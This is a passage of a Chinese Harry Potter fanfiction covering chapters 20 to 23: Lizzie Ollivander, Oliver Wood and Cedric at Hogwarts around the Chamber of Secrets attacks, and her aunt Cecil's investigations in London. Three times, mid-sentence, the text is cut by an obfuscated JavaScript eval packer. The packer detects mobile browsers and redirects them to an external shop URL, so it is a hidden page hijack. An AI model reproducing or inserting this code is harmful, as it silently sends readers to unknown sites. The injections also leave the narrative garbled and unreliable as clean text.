而塞西尔早前就拒绝了傲罗办公室的某个她名字也没记住的人的邀约,孤家寡人一个穿着这身桃红色裙装在泰晤士河边闲逛了半个晚上,哪里看着都挺热闹的,家庭餐馆里暖黄色的灯让她想起了在霍格沃茨的万圣节宴会 ——蝙蝠形状的巧克力会在杯子上空飞两圈掉进去变成一杯热可可,骷髅型的曲奇拼成完整的骨架后就会动起来,礼堂里巨型的南瓜被掏空做成灯,邓布利多手一挥点亮它们,晚宴便正式开始。 那时有只金色的蝙蝠飞到她的杯口,她抬起头就看到雷古勒斯在斯莱特林的桌旁面对着她笑,蝙蝠落在热可可里成了厚厚的奶油顶,他拿起杯子和她隔空碰杯,喝下后是满嘴的甜味。 “梅林快救救我这个愚蠢的家伙吧。”将自己的思绪停下,她自嘲地大笑了两声,拐进巷子里幻影移行,推开公寓门的瞬间看到了人影,塞西尔立刻掏出魔杖,“昏昏倒地!” 窗边站着的人轻松挡住了昏迷咒,并礼貌地道歉说:“非常抱歉,请原谅我的不请自来,这是间很不错的房子。” “有什么需要我做的,邓布利多先生?”塞西尔放下魔杖,有些局促地扯了扯身上这套不合身的衣服下摆。 “上次你和莱姆斯调查了一些纯血主义者的活动,我希望你再查一查他们与霍格沃茨的密室有没有联系。”邓布利多有些好奇地打量着窗台上的小摆件,是莉兹假期里做给塞西尔的。 “您是觉得纯血主义的活动已经发展到霍格沃茨了?”塞西尔顿了一下又说,“是今晚发生什么事情了吗?” “晚宴之后墙上出现了这样的字,”邓布利多在空中画出了血色的字样,“密室已经被打开,与继承人为敌者,警惕。” “不是学生的恶作剧吗?”塞西尔追问。 “当然最好是这样,不然的话就当多个思考的角度,阿尔巴尼亚森林现在仍然很安静。”邓布利多说完顺手放下了一袋糖果,走之前转身说,“万圣节快乐。” “您也是。”塞西尔听了他的话若有所思,将自己的衣服还原,拿上件黑色的巫师袍,打开床头上锁的柜子,别上刻着黑魔法印记的徽章,带上一袋提前藏起来的走私鸟蛇蛋出发去翻倒巷,毕竟想从博金先生那里换到什么情报,也只能看她会出什么好价钱了。 苏格兰高地冷冽的秋风吹到泰晤士河边的公寓,也一样会在城堡里发酵。 晚饭后莉兹刚约好和韦斯莱双胞胎去秘密通道里听今晚英联赛第二轮比赛的电台直播,麦格教授就立刻召集了所有学院的级长把学生们都带回各自的公共休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487808|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室,消息灵通的玛丽埃塔立刻就打听到发生了什么事,匆匆回了寝室还没坐下就开始讲。 “密室?”帕德玛一边脱了巫师袍挂起来一边问,“萨拉查·斯莱特林那个密室不是个传说吗?” “我一年级的时候借过一本《霍格沃茨,一段校史》,那应该是第一版书,”秋解释道,“里面说这个密室真的存在,不过书印到第四版的时候把这段删掉了。” “那我们现在用的就是1944年出的第四版吧,”莉兹把床头的书翻开看了一眼,“我想这之前一定发生了什么,它让魔法部下令必须把这段历史删掉。” “不会真的有人打开了密室吧?”帕德玛惊奇地说着。 “嘿姑娘们,重点不是破案呀,”玛丽埃塔拍了拍枕头打断其他人的谈话,“我是说,今天又有那个哈利·波特在场。” “那他可真不走运,”莉兹叹了一口气,抬头看向秋说,“我决定明天去看看第一版书还在不在。” 隔天上午别说是第一版书了,书架上所有的校史都被借光了,看来除了拉文克劳的学生之外,大家都对这件事有着狂热的好奇心,而莉兹也从上周因为上课迟到被派去给平斯夫人打杂的塞德里克那里听说了,正好有一批旧书处理掉了,里面就有第三版之前所有的校史。 和往常一样的校队办公室里,塞德里克手上写着魔药学的论文,还和坐在桌子另一边的莉兹说,“你们怎么也对这件事这么感兴趣,连秋都去借了书。” “我们怎么不能感兴趣了,”莉兹碰了碰旁边昏昏欲睡的伍德的肩膀,“只有这个木头才没兴趣呢。” “怎……怎么了?”伍德惊地一下直起身来。 “没什么,”莉兹歪头看着他笑了,顺便把写完的算术占卜作业扔到他手边,“又要交作业了,奥利弗。” “我知道。”伍德也对着她苦笑了一下,接着拿自己的答案和她的做对比,绝望地用消除墨水改掉了连续三条题目。 “所以你为什么还要选这门课,不是已经过了OWLs了吗?”塞德里克坏心眼地调侃道。 伍德回瞪了好友一眼,他总不能说自己是为了能有机会和莉兹上同一节课才继续选的吧,只好是僵硬地回道:“我……我就喜欢挑战自我,这难道不行?” “很好,非常棒,给格兰芬多加三十分!”塞德里克连连点头。 “下周末比赛结束后我要去霍格莫德村,”见他笑得意外不知收敛,莉兹突然说道,“赢了就吃太妃糖冰淇淋,输了就你请我吃太妃糖冰淇淋。” “我?”塞德里克抬手指着自己的鼻子。 “因为我会让秋在二十五分钟结束比赛的,迪戈里先生。”莉兹微笑,“为了庆祝可爱的姑娘拿下金色飞贼,一份冰淇淋不过分吧?” 愣了一下就明白了面前的女孩是在帮那个木讷的家伙捉弄自己,塞德里克缓缓摇了摇头,“奥利凡德小姐你也很不错,拉文克劳加四十分。” 21. 柜子间隙 白天上魔药课的时候,弗雷德调侃着说格兰芬多的万事通小姐大胆地在魔法史的课堂上询问了关于密室的传说,因为追问了太多所以总是死气沉沉的宾斯教授差一点就发怒了,他们俩也是从弟弟那里听来的,乔治还学了教授的表情,学得像不像莉兹不知道,她只知道斯内普可能已经用无比犀利的眼神盯了他们仨超过两分钟了。 不过距离洛丽丝夫人被石化已经过去一段时间了,莉兹和其他人都没有起初时那么好奇了,平时她要么是从玛丽埃塔那里听一些流言找乐子,有空的时候去图书馆里再翻几本古传说,虽然依旧查不出那里头藏着什么怪物,但她也得出了自己的结论——反正离它远一点总不会是坏事。 她还给塞西尔寄了两封信,不过对方只匆匆回复了一封,送信的猫头鹰从前没有见过,不知道是从哪个邮局借来的,而且寄来的甚至都不是一张完整的信纸,看着像是什么酒馆的餐巾,角落还有一块红酒渍。 伊莉莎: 你的来信我已收到,听你讲的关于密室的事情,那可真是有点儿吓人,虽然我知道你不会做什么,但是答应我一定要保护好自己。 赛季是不是又要开始了,希望能听到你的好消息。 上次你说喜欢吃的糖果我又买了一些,等之后找机会就寄给你。 爱你。 塞西尔 读完简短的回信,莉兹随手将餐巾团起来塞进巫师袍的口袋里,抬头看了一眼格兰芬多的桌子,伍德正坐在哈利·波特的旁边喋喋不休地说着什么,某人的过度紧张综合症想必是又发作了,明天就是这个赛季的第一场比赛,斯莱特林对格兰芬多。 至于他们的魁地奇水平,莉兹一向是不予置评,她实在想不通有什么人会给全队人买那么昂贵的扫帚只为了占一个校队找球手名额,当然她也想不明白有什么队长会风雨不改地拉着队员们早训,难怪米歇尔会一眼就看中奥利弗·伍德。 第二日莉兹一直赖床到十一点,宿舍里的其他人都早早地去看台占个好位置看比赛了,而凌晨时她就听到了外面的雨声,寒冷的秋风裹挟着冰凉的雨珠敲打在窗户上,早晨虽说是停了但怎么看都不是好天气,若是自己有比赛倒还能坚持一下,让她在这种日子里去观战,她宁愿埋在被子里错过整场。 逼着自己躺下去继续睡,翻了几次身却只觉得心烦意乱,莉兹心想肯定是因为饿了,但又认为去看伍德被“精英”队伍打得落花流水是一件不错的事情,所以还是从床上爬起来了。 经过走廊时安静得很,她只能听到外面刮风下雨的声音,几乎见不到什么学生,轻手轻脚拿走了厨房台子上摆着的两块杯子蛋糕,她扣上巫师袍的帽子就往球场的方向跑去,距离越近喧闹声也是越来越近。 雨篷能遮住的位置早就被站满了,剩下前几排还空了些地方,莉兹给自己从头到脚都施了防雨的咒语,猫着腰穿过人群刚刚站定就注意到场上叫了暂停。 “怎么叫暂停了?”莉兹转过去问后排的塞德里克,“格兰芬多怎么了?” “什么?”因为雨太大了塞德里克只能弯下腰听她说话,“我也看不清,波特刚刚一直被游走球追着打。” “游走球?”莉兹疑惑地皱了皱眉。 回过神来时场上的比赛又开始了,最后离开地面的乔治看起来表情不太好,莉兹大概能看出来韦斯莱双胞胎的想法,无法控制的游走球离找球手太近了,他们不得不在波特身边打转,但是这就意味着找球手的视野完全被遮挡了,完全没有机会寻找金色飞贼还白白给了对面得分机会。 装在口袋里的杯子蛋糕已经被雨水打湿糊成一团,但莉兹完全没在意只是紧盯着场上的情况——波特竟然自己冲出去了,还从低空直接飞到了上一层。 随着波特在厚厚的云层间与地面间来回翻飞的节奏加快,所有人都跟着他一起紧张了起来,总是云淡风轻的莉兹的神色看着倒也不轻松,尤其是游走球击中波特的同时,她听见了周围几个人倒吸凉气的声音。 “哦我的梅林呀,他怎么还在飞。”旁边的斯莱特林姑娘捂住了眼睛都不敢看了。 “他抓住了!格兰芬多赢了!” 听不出是谁先开始欢呼的,只知道刚刚还在下着的雨停得突然,受伤的波特躺在球场缓冲的沙地上,看台上好些人都不管不顾地朝下面狂奔,他们兴奋地叫着哈利·波特的名字,格兰芬多的队员落地后也都围在了他身边,霍琦夫人费力地组织着秩序。 只有伍德走上前两步又退了回去,明明是赢了比赛他却没有和以前一样笑起来,眉头始终紧锁着,他垂头丧气拿着扫帚孤零零一人往球队休息室走去,乔治刚要开口叫他,又被走过来准备动手要给哈利治疗手臂的洛哈特给挡了路,再要找他时,已经看不见伍德的背影了。 莉兹从另一侧的台阶下去,塞德里克一看就猜到她是想去找谁,来到休息室门前,她敲了敲门问道:“我能进来吗?” 刚刚脱去被雨水浸湿的队服,伍德听见莉兹的声音,一边应声说等一下,一边在架子上慌忙找着干净的上衣。 “那我进来了啊。”没听清里面人说话的莉兹推开门,伍德的衣服正好穿了一半,他身材高大又健硕,后腰的肌肉很是紧实,但她只注意到他的胳膊上的青紫色,肯定是刚刚被弗林特在比赛时撞到的。 “你怎么就进来了,我……我还没有穿好。”伍德涨红了脸,差点咬着舌头,背过去整理好衣服才敢转身。 “又不是大卫雕像,没什么可看的,”莉兹这会儿倒是又和平时似的平静了,还能笑话他两句,她一挥魔杖点燃了壁炉里的柴火,蹲下来伸手取暖,顺便和身后的伍德笑着说,“真暖和啊,对吧?” 伍德点了点头,在长凳上坐下,一声不吭,其实每次比赛结束后他们总是有不少话可说,就好像他明白现在莉兹不会是单纯来借壁炉烤火的,但是他发现自己好像一时间不知道应该和她说些什么,因为他满脑子都是刚刚暂停时的乔治和哈利的对话。 “你看着一点也不高兴,真不像你,”莉兹明知故问,“格兰芬多不是赢了吗?” “我没有不高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487809|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴。”伍德又摇了摇头。 她轻哼了一声,在他旁边坐着,头发稍微有点被打湿了,自然卷的发尾就卷得更夸张了,伍德低头看了她一眼,莉兹又同时抬了头,他便立刻躲开。 “实际上他不应该受伤的,奥利弗你也这么觉得吧?”莉兹一针见血。 伍德放在膝盖上的手不自觉捏成了拳,莉兹脸上还是刚刚的笑,但他觉得女孩银色的眸子快把他整个看透了,迟迟没能回答她的话,听着门外的声响,在有谁走进门来的同时他下意识拉过了莉兹,两个人躲进两个高柜的间隙中,正好有帘子垂下来,挡住了他们。 弗雷德在最靠近这里的凳子上坐下,他甩了甩头发上的雨水和边上的安吉丽娜说:“最后我把另外一个游走球打出去的动作真是太经典了,应该在格兰芬多球队史上记一笔最佳。” “哦,是吗,最佳?”安吉丽娜抬手把斗篷挂起来。 “你们看见奥利弗了吗,”乔治拆着胳膊上的护具,“刚刚明明看见他回休息室了。” “没看见,是不是陪着哈利呢?”凯蒂回道。 见外面的人根本不急着走,莉兹便瞪圆了眼睛看着他眨了眨,试图用眼神表达:“奥利弗你这个疯子。” 他也没办法解释自己在做什么,只好是苦笑着仿佛赔礼道歉似的点了两下头,又刚好和她撞了额头。 两个人贴得太紧了,伍德身上又只有一件单衣,都能感觉到莉兹本来就打湿了的巫师袍是凉飕飕的,他深呼吸了两下,试图让自己的心跳声不那么明显。 既然一时半会儿离不开这个地方,莉兹也就彻底放松了,她甚至开始认真打量起眼前的人,原来伍德有这么高,肩膀也很宽,脸侧的鬓角看着毛茸茸的,可能手感不错。 被盯得的人紧张极了,别说心跳了,他觉得自己的脸颊也在发烫,梅林快来救救他这个不可挽回的举动吧。 过了不知多久,莉兹压低了声音说:“我觉得他们应该都回去了。” 同一个姿势僵着太久,伍德两条腿都麻了,跨出去半步时没站稳,莉兹下意识伸手扶他,也一起摔在了地上。 “奥利弗……”莉兹不满地叫着他,话语里都是嗔怪的意味。 “你有没有闻到很甜的味道,像是黄油味。”伍德挠了挠后脑勺。 “好像有,不好,”莉兹立马反应过来,低头去摸口袋里的杯子蛋糕,成了黏糊糊的一团,她没忍住哈哈大笑起来,“对不起,这太滑稽了。” 伍德还是弄不明白莉兹这个人,但是看到她在笑的时候自己也一起笑了。 在走廊分开前,莉兹叫住了伍德:“奥利弗你知道吗,不管他受不受伤,你的选择都没有问题,这才是我想要说的。” 他愣在原地,许久才开口道:“谢谢。” “但是你被弗林特进了两球是你活该,”她转过身摆了摆手,“回去好好休息吧,木头先生。” 这熟悉的语调反而让伍德松了口气,他像个傻小子似的腼腆地笑着,胜利带来的喜悦这才来到了他的脸上。 22. 太妃糖冰淇淋 意外又发生了,周日深夜科林·克里维受到袭击入院,成了第二个受害者。 差不多是凌晨同一时间,塞西尔注意到有敲窗户的声音,她顺手拿过床上的毯子裹在身上,摸出放在枕头下的魔杖,手一挥打开了窗户,那只熟悉的皮手套攥着一封信,她伏在窗台看了看外面,泰晤士河笼罩在寂静的夜色里,秋冬季节的湿冷气息扑面而来,角落的一盏路灯忽闪忽闪,眨了眨眼又恢复一片黑暗。 她在床边坐下,拆开信封 ——我希望你能尽快给我一个旧物买卖的名单,无需验证,所有的名字我都需要。 那些刻着黑魔印记的徽章显然只是一个开始,塞西尔最近几个月已经私底下扣住了不少带着黑魔法的器具,要不是隔壁部门的那位卷发单身汉对她的好感完全掩藏不住,她也钻不了这个空。 而这里面有让人在意的几个名字,细究起来都和卢修斯·马尔福的关系密切,不过她同卢平之前也就只查到这里。 旧物单子上有看似名贵的宝石首饰,也有废旧的斗篷,原本扣下了一本皮质笔记本,却没找到机会带出办公室,只能先是留在了魔法部,后来想再去找便不知所踪了。 塞西尔把记录了名单的羊皮纸卷用绳子系好,皮手套刚一接过去只听得“唰”的一声留下一缕烟雾,好像这泰晤士河旁的小公寓从未有过来客似的。 关上窗户,她走过去打开碗柜,弯腰从最底层摸出一瓶开过封的苏格兰威士忌,掂量着意识到不太对,瞥了眼瓶底,真不凑巧,竟然空瓶了。 下次再找阿拉斯托讨要两瓶好了,她一边这么想着一边挥动着魔杖给自己换了身衣服,粗呢格子的大衣领子竖起来能盖住半张脸,衣摆也够长,遮住了过膝的皮靴。 路边的人家都熄着灯,塞西尔将头上那顶宽帽檐的尖顶帽压得很低走在街上,没走出几步就落满了像白霜一样的水珠,在一扇破烂的门前停住脚步,她透着缝隙还能听见里面有人说话的声响,抬手推开门,里面人的目光在她身上停留了一阵,而后又恢复了刚刚的嘈杂。 比起她那行事低调的兄长与父亲,塞西尔平日里的做派是足够扎眼的,莉兹不熟悉自己这位炫酷小姑的过去,只知道自打她记事,姑姑就已经是现在这个模样了。 有人说她是狡猾的狐狸,成日里换着男伴却又从未见过她有心婚配,也有人说她非纯血的巫师,否则怎么能听懂那么多神奇动物的想法,还有人说塞西尔是醉心黑魔法,才会疯疯癫癫以酒度日。 就当他们说的都对,她一向不反驳。 在角落的桌子坐下,塞西尔一连着两三杯空腹喝了烈性酒,胃里火烧火燎的,但身子好像还是没能暖和起来,她越喝越多还一直在笑着,满脸糊的眼泪,看谁都有两个头。 她迷蒙间看着刚推门进来的人有些眼熟,不过对方似乎看到她的第一眼就抗拒似的后退了两步。 “啊哈,莱姆斯!” 卢平感受到周围人的目光,但他决定当作不认识,径直走回楼上的9号房,他刚回伦敦没多久,邓布利多在破釜酒吧替他长租了一间房。 没成想下一秒那女人之前站起身,扑面而来的酒气熏得他忍不住抬手掩住口鼻。 “你想怎么样?”卢平问道。 “乖……乖狗狗,小狼崽……”她踮脚拍他的头。 “别装,醒醒酒。”卢平身上那件打过补丁的风衣大约要被她把袖子拽掉了。 “真是没有情趣的男人。”塞西尔看了他一眼站到一旁倚着楼梯扶手,手里的酒瓶子倒是一直抓得死死的,生怕浪费了。 “你上次喝多了是躺在酒瓶子堆里的,”卢平摇了摇头在她对面站定,低声说着,“学校里有个学生被袭击石化了。” “石化?”塞西尔微微皱眉,“那只猫是不是也是……” “对。”卢平应道。 “好吧,我知道了。”塞西尔摆了摆手正准备走的时候,听到卢平补了一句。 “那孩子是麻瓜出身。” 她愣了半秒,没再说什么,只是更加用力地攥紧了酒瓶,起初因为醉酒而迷茫的眼神,倏然间变得清明。 这世界上有很多值得去痛恨的事情,纯血主义排第一。 隔天周一的早上,正当不爱早起的莉兹用尽浑身力气摆脱温暖的被窝对她的诱惑的时候,玛丽埃塔猛地将宿舍门打开,她嘴角甚至还有没擦干净的糖浆。 “我的梅林啊,你们绝对不敢相信我刚刚听说了什么!” 女孩子稍有些尖细的嗓音刺得莉兹脑袋嗡嗡的,但也直接没了睡意,走在玛丽埃塔身后的秋·张,把用牛皮纸裹着的司康饼递过来,莉兹说着谢谢就开始干啃,顺便听玛丽埃塔的新闻播报。 一年级新生,麻瓜出身,加上之前写在墙上的血字,要素齐全,恐慌的种子不费吹灰之力,短短一夜就足够生根发芽。 如果说洛丽丝夫人的事情还可以用学生恶作剧一类的说法蒙骗过去,那这一次可就不能了。 莉兹想起姑姑说的话,也认为有时候好奇心不是什么好东西,她三两口吃掉半块司康,没有参与宿舍接下来的谈话,迅速地披上巫师袍,抱起书本便往魔药教室跑。 “不过,那个密室里有什么呢?”她不免地还是会想。 距离周末的比赛还有几天,这日下午是拉文克劳和格兰芬多的例行训练时间,入冬后很早就天黑了,过于谨慎的帕特里克和胆子比不过针尖的戴维斯都提议提早结束回宿舍,莉兹本想着说两句刺激一下厚脸皮不敢承认自己就是害怕的戴维斯,但她回身就看到伍德他们还迎着夕阳在场上飞来飞去。 这大约是伍德看起来最顺眼的样子,认真的守门员眼睛紧盯着每一个要侵犯他领地的鬼飞球,他确实非常厉害,这一点莉兹从未吝啬她的夸奖。 “还是不要一个人回去吧,”帕特里克对还站在原地看隔壁训练的莉兹说,“老师都提醒我们最好结伴走。” “没事,我姓奥利凡德,你不记得了吗?”她还有心情开玩笑。 见拉文克劳队的大家三三两两地离开了球场,想要偷懒的韦斯莱双子也喊道:“亲爱的队长,天黑了可不安全啊,你看太阳都落山了!” “不可以,练习还有三轮才会结束。”伍德果断拒绝。 弗雷德倒好,他指着场边的莉兹说:“可是奥利弗,怎么能让女孩子一个人回宿舍!” 在扫帚上坐得很是稳当的伍德差点松了手,他回头就看见手拿扫帚不知道在看着什么方向的莉兹,她的眼神总是这样,完全看不清焦点。 “你看你看人家转身要走了。”乔治跟腔。 “好好训练,谁都不许走!”伍德提高了音量。 安吉丽娜踢了踢弗雷德的扫帚尾,让他少说几句还能早结束几分钟。 保持着站定的动作没有变化,莉兹在脑海里又一次模拟演练了周六比赛的安排,她把双方的每个选手都标上号码,看作是单纯的棋子,毕竟她当着塞德里克和伍德的面说过希望二十五分钟完结比赛,那可不是在说大话。 等伍德将注意力转回到球场中,过了一会儿再想去看她的时候,场边已经没有人了。 于是乔治和弗雷德便一唱一和地继续笑话他。 至于木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487810|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头脑袋会开窍吗,那谁都不知道,韦斯莱双子只是觉得看队长慌乱的表情很是滑稽罢了。 而正如智力超群的莉兹·奥利凡德小姐所预料的那样,周六拉文克劳与赫奇帕奇的这场魁地奇比赛竟然真的在二十五分钟时结束了,进攻防守甚至连队形变化都被猜中。 只是她没料到金色飞贼在最后一秒从秋的手中溜走,差一点点指尖就要碰到了,好巧不巧直接砸在了塞德里克的肩膀上,他顺势一个灵巧的转身,单手倒挂在扫帚上抓住了飞贼。 只见他再一个翻身坐回扫帚上,塞德里克举起左手笑着看向另一边的莉兹,全场都在为他欢呼。 完美先生的灿烂笑容当然打动不了莉兹,她深吸一口气差一些就要对着他翻白眼了,但是碍于那高尚且公平的竞技精神,还是勉强挤出了微笑。 “那我就提前替秋谢谢你的太妃糖冰淇淋,”落地时莉兹走过塞德里克身边,用手肘碰了碰他的胳膊,“迪戈里先生,干得真漂亮。” “过奖了,奥利凡德小姐。”他回话时眼神落在秋身上,怎么说也是从心仪的姑娘手里抢夺了胜利果实,确实会多在意一点。 不过那可是秋·张,优雅大方还温柔可人,她在塞德里克开口前就已经道了恭喜,而刚刚还挺得意的塞德里克立马收敛了,看起来还有点腼腆,他揉了揉自己的后脑勺,本来就被风吹得乱糟糟的头发变得更加毛茸茸了。 莉兹看着他们两个那宛如被迷情剂的粉色烟雾包围了的样子,果真是爱情第一,比赛第二,她连连摇头打了个呵欠,提起扫帚刚要走的时候,广播里响起麦格教授的声音。 “各位三年级以及三年级以上的学生们注意,从今天开始将暂时关闭通往霍格莫德村的通道,上午已经前去的学生将会由学校老师们接送回校,通知会再重复一遍,各位请注意向不在场的同学互相传达……” 那不就没有太妃糖冰淇淋可以吃了吗? 原本输了比赛心情也没有受影响的莉兹突然变得有点失落,她可以给妈妈写长信解释为什么没有赢,但少吃一份甜食还是会让人难过,这下她看到塞德里克那完美微笑就更是不满了。 直到她从休息室换了队服走出来,莉兹才觉得今天少了些什么,不是太妃糖冰淇淋,是平日里一定会寸步不离守在看台上看完全场比赛的某人。 他今天好像没来看比赛,她不慌不忙地在走廊上晃悠,下一秒心里想着的人就出现了,不对,是冰淇淋出现了。 “奥利弗?” 冰凉凉的感觉贴在手背上,拿着纸杯装的伍德大约是跑得太急了,好一会儿没能喘上气来。 “谢谢。”莉兹难得一次这样坦率,她先是双手接过来,低下头弯起嘴角,最后是抑制不住的笑意在眼里浮现了。 意料之外的笑容把伍德看呆了,他很少见到她这样的表情,原来莉兹也会这么笑。 不能出校的通知昨晚他就在麦格教授那里听说了,所以一大早就跑去了霍格莫德村,本想着来去路上稍微走得快些还能赶上比赛,结果到球场时脸观众都全散场了。 “奥利弗,谢谢你拯救了我的一天,”她又说了一遍,“我真的很高兴。” 他应了一声,倏地便红了耳朵。 走廊另一边那对刚从霍格莫德村被教授抓回来的韦斯莱兄弟,两个人正在柱子后面偷看着自家羞涩的队长先生。 “我们要回去给大家做个现场转播。”弗雷德小声说,然后装作一副什么都懂的样子咂了咂嘴。 “当然不能让大家错过。”一旁的乔治一边笑着一边收起了藏在巫师袍袖子里的罐装太妃糖。 23. 平安夜晚宴 霍格沃茨从来是不缺新闻的,而拥有玛丽埃塔这样的室友,寝室里自然也是不缺新闻的,她这段时间总是在睡前才回到房间,然后以一句“梅林啊”作为开头来讲述今日的见闻。 起初莉兹还觉得研究密室的起源有点意思,但随着受害者的数量的增加,她实在不是很想再听玛丽埃塔波特长波特短了。不过是个低年级的孩子,怎么就说得像十恶不赦的黑魔王一样。 其他人仍然在搭腔继续聊着,她便一挥魔杖放下床帘,把被子拉过头顶整个人缩进去,选择早点睡觉。 圣诞季节即将来临,冬日的寒冷也不再留一丝情面,莉兹觉得这苏格兰高地是一年比一年更冷了,除了上课时间,旁人几乎见不到她出现在任何没有壁炉的地方,她上课会踩点出现在教室,下了课会迅速消失,来无影去无踪。 韦斯莱双胞胎逮了她好几次都失败了,他们甚至怀疑她偷偷研究了魔法道具,可以在走廊上隐身。 而上周结束了假期前最后一节算术占卜课以后,伍德也是有几天没见过莉兹了,加上最近温室很缺人手,塞德里克一到空闲时间就会被斯普劳特教授叫去帮忙照料曼德拉草,平时热闹的训练场办公室现在只剩下了他一个人。 本学年的魁地奇比赛已经进入冬休阶段,训练自然跟着暂停了,没几天就要回家过节,伍德无聊得把堆在桌上的近几期魁地奇速报从头翻到尾又从尾翻到前,可连冬窗的新消息都没人可分享了。 门突然被推开,他兴奋地抬起头,又叹了口气低下头。 “这么不欢迎我,可太让人伤心了。”塞德里克手扶着门框,微笑着摇头。 没等伍德回话,毛茸茸的一团便猫着腰从胳膊下面钻了进来,听声音还带着点愠怒:“你难道不知道外面有多冷吗,迪戈里先生。” 晃了晃脑袋抖掉毛线帽子上的雪,莉兹拿下脖子里裹着的灰色羊绒围巾,身上的两件斗篷在进门时就自动飞到了衣帽架上,她径直走向壁炉边,拿出魔杖轻点了一下,木柴烧得更旺了。 “外面很冷吗?”塞德里克带上门在桌子旁坐下,他刚从温室那边过来,身上只套了一件薄线衫,本来拿在手上的厚斗篷半路借给了偶遇的莉兹,他确实有资格反问这句话。 莉兹翻了翻眼睛,不愿理睬他,靠着壁炉的她脸颊被热气烘得红扑扑的,配上那头乱蓬蓬的自然卷,像只正在取暖的小动物。 连忙从口袋里摸出两个甘草棒棒糖,是斯普劳特教授刚刚送的,塞德里克一个扔给伍德,一个抛给莉兹,又朝她笑了笑,意思是开个玩笑别生气了。 “谢谢。”莉兹两手接住了棒棒糖,撕开包装纸把糖塞进嘴里,含含糊糊道谢。 瞥见伍德手边那期最新的魁地奇速报,她把糖拿出来指着头版说:“圣巴黎想要的这笔转会肯定会黄,凯恩带的队去年刚升级怎么可能在冬窗放人。”* “但是巴黎想要的不是莱莉·塔克吗?”伍德皱眉。 “亲爱的奥利弗,塔克可是半个马赛人。”莉兹挤出一个笑容反驳道。* 这句“亲爱的”对伍德果真有效,他立马把眼神挪回报纸上,认认真真地吃着甘草糖。 说来也怪,莉兹实际上不是个魁地奇狂热爱好者,甚至因为长年被米歇尔严格要求,她对此显得有些排斥。但是每一次只要伍德在场,她都一定会接他的话茬聊到底,若是俩人因此有了分歧的话,她更是一点不相让,非要争下去不可。 多次在现场旁观的塞德里克难免误会,他们这吵的哪里是什么魁地奇,简直是欲盖弥彰。 吃完了一根甘草糖,莉兹把最后一点嚼得嘎嘣响,顺便清了清嗓子:“我今年圣诞节要留校,约定好的礼物就暂且搁置到明年吧。” 说着她又停顿了一下,看向塞德里克说:“也不对,之前比赛时我拜托妈妈帮我跟塔克要了球衣,可她忘在办公室里了,至于给奥利弗的签名照也一样,只能等他们从意大利回来再说。” “我怎么觉得好像被剥夺了拆礼物的乐趣,你说是吧?”塞德里克又是一笑,伸手拍了拍伍德肩膀。 “奥利凡德先生也不在伦敦吗?”伍德知道莉兹的脾气,只要爷爷在家,她是绝对不会不回去的。 她伤脑筋地点了点头,按着眉心回道:“希望你们永远不会懂意大利人的平安夜家庭聚会。” 在摩德纳的亲戚不知为何今年偏要邀请他们一家一起过节,莉兹很小的时候见过他们一次,那乱糟糟的厨房还有闹哄哄的餐桌,至今都像是梦魇一样,好在米歇尔没有太残忍,她给了她留校和去意大利两个选择,唯一的要求是不允许她再去找塞西尔。 听说这段时间塞西尔的名声更加不好了,许多风言风语传出来,独身的年轻女人成夜地混迹在酒场,值夜班回家的小奥利凡德还在破釜酒吧后巷里看到拿着酒瓶子倒在台阶上的妹妹,他实在是恨铁不成钢,甚至把她先前送来的礼物都丢出了家门。 没人知道她酗酒又疯癫是因为什么,仿佛那年她从布莱克家的葬礼哭着回来后,塞西尔就再也没清醒过。 卢平偶尔会担心她真的要冻死在伦敦的冬夜里,只能不情不愿地把她扛回公寓,房间总是乱糟糟的,柜子上还摆了不少瓶威士忌,听她说基本都是从阿拉斯托·穆迪那儿顺来的。 什么人能从疯眼汉手里拿东西,太匪夷所思了。 要不是邓布利多足够信任她,卢平其实不太乐意和她打交道。 没过多久,莉兹收到塞西尔的圣诞礼物的那天,是大家回家的日子,前一天晚上晚餐后她跟塞德里克在礼堂里下巫师棋,准确说可能是她跟塞德里克加伍德再加帕特里克三个人一起下。 她轻轻松松,一步一城,三个男生绞尽脑汁也没能占到上风,明明坐在对面的是塞德里克,但是更专注的倒像是伍德。 早晨发车前,帕德玛是最后一个离开寝室的,她有条裙子怎么都塞不进箱子里,莉兹用魔杖帮她把行李箱变高了一英寸才搞定。 等到房间里只剩莉兹一个人时,她盘腿坐在床上拆开了礼物的包装,里面是一双漂亮的羊皮靴子、一盒随声听的电池,还有几盘新的磁带,是莉兹没听说过的乐队。 Queen? 真奇怪。 她试穿了一下新鞋子,在房间蹦蹦跳跳、走来走去的,手上拿着塞西尔寄来的信。 伊莉莎: 提前说声圣诞快乐。 这学期一切顺利吗? 